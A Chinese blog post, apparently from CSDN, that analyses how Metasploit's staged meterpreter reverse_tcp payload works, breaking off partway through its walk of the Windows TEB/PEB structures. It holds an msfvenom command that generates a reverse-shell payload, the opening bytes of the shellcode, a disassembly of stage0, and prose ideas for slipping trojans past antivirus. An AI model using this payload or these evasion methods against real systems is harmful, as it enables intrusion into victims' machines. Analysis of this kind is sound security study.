从meterpreter工作原理到免杀方式的分析

Meterpreter 工作原理

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LP
ORT=31012 -f c > test2.c

unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89\xe5"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
...
...

这样一段由msf生成的meterpreter paylaod仅300字节的shellcode,到底是如何完成meterpreter强大的功能的?

为了求得解答,我们参阅rapid7 官方的博文

首先回答一个问题,什么是staged payload (即阶段形有效载荷)

根据博文中的解释,staged payload 一般使一种尽可能紧凑并且用于为后续攻击创造更好的执行环境(如更大的内存空间,应为二进制攻击往往能够存储shellcode的空间不多)

初始的shellcode往往被称为stage0,他一般会创建一个链接,并且从连接处获取更多载荷到内存空间中,一旦所有资源准备妥当,他将把控制流交给新的有效载荷,更具不同的形式还分reverse_tcp,reverse_http等等

由于阶段化,模块化的特点,使他容易拓展,不过他也有缺点,比如网络环境不好的情况,这时候需要考虑生成stageless版本的payload

艰难坎坷的payload落地

总的来说,只要第一阶段的payload能够在目标机上被执行,我们就能完成后续阶段的渗透工作方法一般是将payload嵌入到原本信任二进制执行文件中,欺骗诱使目标点击我们的木马,即可完成上线,听起来不错,可是metasploit毕竟是一个已经出现了很长一段时间的开源工具,其payload特征早已经被各大安全厂商研究透彻,并且已经写出了各种规则来查杀,笔者为了做一些测试,windows defender也是一个不放过

那么对于这样优秀的工具,如果根本用不了,那岂不是太可惜了。尽然有查杀技术,自然也有免杀技术,针对静态查杀,最好的方式自然就是,屏蔽原有的特征,改写payload,使用加密,或是插入大量花指令针对规则进行混淆,针对动态查杀,则可以行为自检,如果被监控,则不执行,针对流量msf自身还提供了带对称加密传输的版本

stage 0 payload 工作原理

竟然stage 0是唯一需要落地的过程,是查杀,反查杀斗争的开始,那我们得先搞清楚stage 0执行原理究竟是什么样的,如果能使stage 0的payload安然落地,那么可以说后续的攻击也能大概率能顺利进行

首先将payload,丢进反汇编器开始分析

debug029:00030000 cld
debug029:00030001 call    loc_30095

刚开始运行,就跳转了一个短片段开始执行

debug029:00030095 loc_30095:                              ; CODE XREF: debug029:00030001↑p
debug029:00030095 pop     ebp
debug029:00030096 push    3233h
debug029:0003009B push    5F327377h
debug029:000300A0 push    esp
debug029:000300A1 push    726774Ch
debug029:000300A6 mov     eax, ebp
debug029:000300A8 call    eax

注意刚刚跳转来实际上用的是call 也就是 push eip jmp loc_30095 这样的命令,刚来就使用了,pop ebp 这条指令eip被保存到ebp中去了,紧接着

push 3233  
push 5f327377  
push esp  
push 726774c  
mov eax,ebp   
call eax  

这段push,跟到栈中,实际上发现,就是将ws2_32字符串压到了栈里,并且 把字符串地址和726774c(这是loadlibraryA函数名的哈希值)作为参数,再次call回了ebp中保存的eip

这次的call同样使得当前的eip被保存了下来(这里要强调一下,这是payload控制执行流的巧妙之处),jmp回了起初的执行流

在这里插入图片描述
接着让我们看看下面的执行流

debug029:00030006 pusha
debug029:00030007 xor     edx, edx
debug029:00030009 mov     edx, fs:[edx+30h]
debug029:0003000D mov     edx, [edx+0Ch]
debug029:00030010 mov     edx, [edx+14h]
debug029:00030013 mov     ebp, esp

首先保存各寄存器状态值,其次再清空edx寄存器

接下来的操作,需要有关windows内部数据结构的基础知识,视角放在NT 32位系统下,我们来简单了解需要用到的数据结构,FS段寄存器保存了当前当前线程相关的信息结构叫做TIB也可以称之为TEB应为他就是TEB的第一字段

https://en.wikipedia.org/wiki/Win32_Thread_Information_Block

https://www.vergiliusproject.com/kernels/x86/Windows%2010/2009%2020H2%20(October%202020%20Update)/_PEB

struct _TEB32
{
    struct _NT_TIB32 NtTib;                                                 //0x0
    ULONG EnvironmentPointer;                                               //0x1c
    struct _CLIENT_ID32 ClientId;                                           //0x20
    ULONG ActiveRpcHandle;                                                  //0x28
    ULONG ThreadLocalStoragePointer;                                        //0x2c
    ULONG ProcessEnvironmentBlock;                                          //0x30
    ULONG LastErrorValue;                                                   //0x34
    ULONG CountOfOwnedCriticalSections;                                     //0x38
    ULONG CsrClientThread;                                                  //0x3c
    ULONG Win32ThreadInfo;        

....
....

在他的0x30偏移处保存了PEB(Process Enviroment Block)的线性地址,所以mov edx, fs:[edx+30h]这个操作实际上就是取出了PEB

struct _PEB
{
    UCHAR InheritedAddressSpace;                                            //0x0
    UCHAR ReadImageFileExecOptions;                                         //0x1
    UCHAR BeingDebugged;                                                    //0x2
    union
    {
        UCHAR BitField;                                                     //0x3
        struct
        {
            UCHAR ImageUsesLargePages:1;                                    //0x3
            UCHAR IsProtectedProcess:1;                                     //0x3
            UCHAR IsImageDynamicallyRelocated:1;                            //0x3
            UCHAR SkipPatchingUser32Forwarders:1;                           //0x3
            UCHAR IsPackagedProcess:1;                                      //0x3
            UCHAR IsAppContainer:1;                                         //0x3
            UCHAR IsProtectedProcessLight:1;                                //0x3
            UCHAR IsLongPathAwareProcess:1;                                 //0x3
        };
    };
    VOID* Mutant;                                                           //0x4
    VOID* ImageBaseAddress;                                                 //0x8
    struct _PEB_LDR_DATA* Ldr;                                              //0xc
    struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;                 //0x1  

...  
...

来到 mov edx,fs:[edx+0x0c],由于edx现在保存的peb的信息,peb偏移0xc处,保存的是struct _PEB_LDR_DATA* Ldr一个指针,取出其中保存的地址,现在edx存储的实际就是 struct _PEB_LDR_DATA结构

struct _PEB_LDR_DATA
{
    ULONG Length;                                                           //0x0
    UCHAR Initialized;                               
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值